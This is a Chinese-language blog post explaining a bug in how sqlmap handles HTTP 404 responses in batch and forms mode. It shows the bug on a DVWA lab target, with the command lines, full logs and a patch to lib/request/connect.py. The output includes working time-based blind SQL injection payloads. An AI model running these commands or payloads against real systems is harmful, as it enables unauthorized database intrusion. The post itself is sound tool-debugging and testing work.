sqlmap对状态码404处理的bug

on under web
3 minute read

About

sqlmap对页面遇到404响应码后直接抛出一个异常并退出sqlmap不再进行后续的paylaod测试,在用sqlmap测试sql注入点的时候,一 般用到--batch参数来节省时间,这种情况下sqlmap有一处对http状态码404的处理不当导致无法测出注入点的bug

Detail

在爬虫时get请求的url可轻易爬到,但是post请求的url及post的数据的取得需要探测html中有没有表单相关的关键字,并通过表单 来构造post参数的值并提交来获取后续返回内容,如下例中详情:

安装dvwa设置level=low,测试SQL Injection(Blind)这一项时,参数是通过表单来提交的,点击submit提交后会将输入框User ID中的内容以get请求发送到服务器,例如在文本框中输入1则浏览器将对应访问http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

尝试用sqlmap跑出这个注入点,语句如下:

sqlmap -u "http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='PHPSESSID=glgav33fgc0l1hoikg5f267j51;security=low'

这样是可以跑出来的,但是要提高效率用工具自动发现这个漏洞时,一般这样用sqlmap:

sqlmap -u "http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/" --forms --batch -v 3 --cookie='...'

由于这里的id参数的值通过爬虫无法获得,因为这个id参数的值是通过表单提交的,爬虫最多可得到的url为:

http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#

上图中的Submit按钮对应的应该是js处理的动作,js将表单通过get请求发送到服务器,这种情况下,需要用selenium+phantomjs 来获得上面的url(或者使用sqlmap中的--forms参数来捕获这样的表单),而就算得到了url,由于这个url中的id=,也即id值为空, 这种情况下,sqlmap的--batch参数的处理是随机赋值给id并测试各种payload(eg,id=1389),然而dvwa中的这个页面在服务器上的 处理并不一般,如果用户提交的id参数在服务器上没有查询到,服务器会响应404状态码(可能一般waf也会这样做),而sqlmap遇到 404状态码,直接就抛出异常并退出了,这样导致无法用sqlmap的--batch参数测出这个sql注入点

其实如果用selenium+phantomjs得到了urlhttp://192.168.8.190/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#后 如果服务器正常响应查询(这里的dvwa不正常响应,对查不到的统一返回404状态码),用sqlmap是可以检测到这种不带具体值的参数 类型url的注入点的,但是要设置--risk=3,默认的sqlmap的risk值为1,为1时sqlmap不会测试' or [sqli] and '1'='1(要测出 不带参数值的参数的注入点则要通过or来测试),也即要发挥sqlmap的功能最好设置--batch --risk=3 --forms.试试直接用这种 方法测试上面的注入点(在dvwa中对应的页面为http://192.168.8.190/dvwa/vulnerabilities/sqli_blind/):

/tmp/sqlmap [master] » python2 sqlmap.py -u "192.168.8.190/dvwa/vulnerabilities/sqli_blind/" --forms -v 3 --cookie='PHPSESSID=glgav33fgc0l1hoikg5f267j51;security=low' --risk 3 --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1.8.6#dev}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:40:30

[14:40:30] [DEBUG] cleaning up configuration parameters
[14:40:30] [DEBUG] setting the HTTP timeout
[14:40:30] [DEBUG] setting the HTTP Cookie header
[14:40:30] [DEBUG] creating HTTP requests opener object
[14:40:30] [DEBUG] resolving hostname '192.168.8.190'
[14:40:30] [INFO] testing connection to the target URL
[14:40:30] [DEBUG] declared web page charset 'utf-8'
[14:40:30] [INFO] searching for forms
[14:40:30] [DEBUG] initializing the knowledge base
[#1] form:
GET http://192.168.8.190:80/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit
Cookie: PHPSESSID=glgav33fgc0l1hoikg5f267j51;security=low
do you want to test this form? [Y/n/q]
> Y
[14:40:30] [DEBUG] used the default behaviour, running in batch mode
Edit GET data [default: id=&Submit=Submit]: id=&Submit=Submit
[14:40:30] [DEBUG] used the default behaviour, running in batch mode
do you want to fill blank fields with random values? [Y/n] Y
[14:40:30] [DEBUG] used the default behaviour, running in batch mode
[14:40:30] [INFO] resuming back-end DBMS 'mysql'
[14:40:30] [INFO] using '/var/root/.sqlmap/output/results-08202017_0240pm.csv' as the CSV results file in multiple targets mode
[14:40:30] [DEBUG] resolving hostname '192.168.8.190'
[14:40:30] [DEBUG] declared web page charset 'utf-8'
[14:40:30] [CRITICAL] page not found (404)
[14:40:30] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
[14:40:30] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/var/root/.sqlmap/output/results-08202017_0240pm.csv'

[*] shutting down at 14:40:30

发现sqlmap跑不出来,尝试修改sqlmap代码,结果中有关键字page not found (404),于是定位相关代码:

cd /tmp/sqlmap && grep -r "page not found" .

结果如下:

./lib/request/connect.py:                    errMsg = "page not found (%d)" % code
./lib/request/connect.py:                    debugMsg = "page not found (%d)" % code
./lib/utils/crawler.py:                    if "page not found" in getSafeExString(ex):

于是修改./lib/request/connect.py中代码:

elif ex.code == httplib.NOT_FOUND:
    if raise404:
        errMsg = "page not found (%d)" % code
        raise SqlmapConnectionException(errMsg)
    else:
        debugMsg = "page not found (%d)" % code
        singleTimeLogMessage(debugMsg, logging.DEBUG)

将其中的raise SqlmapConnectionException(errMsg)注释掉后再重新用刚才的sqlmap语句测试可测出这个注入点,详情如下:

/tmp/sqlmap [master●] » python2 sqlmap.py -u "192.168.8.190/dvwa/vulnerabilities/sqli_blind/" --forms -v 3 --cookie='PHPSESSID=glgav33fgc0l1hoikg5f267j51;security=low' --risk 3 --batch
[14:48:41] [DEBUG] checking for filtered characters
[14:48:41] [PAYLOAD] OOFt' OR 6597=IF((3988>3987),SLEEP(5),6597) AND 'sIjt'='sIjt
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
[14:49:06] [DEBUG] used the default behaviour, running in batch mode
sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:
    ---
Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=OOFt' OR SLEEP(5) AND 'CaKs'='CaKs&Submit=Submit
    Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
    ---
do you want to exploit this SQL injection? [Y/n] Y
[14:49:06] [DEBUG] used the default behaviour, running in batch mode
[14:49:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[14:49:06] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 131 times
[14:49:06] [INFO] you can find results of scanning in multiple targets mode inside the CSV file
'/var/root/.sqlmap/output/results-08202017_0246pm.csv'

[*] shutting down at 14:49:06

已提交pull request到sqlmap,相关代码文件为lib/request/connect.py,follow

sqlmap, python
home
github
archive
category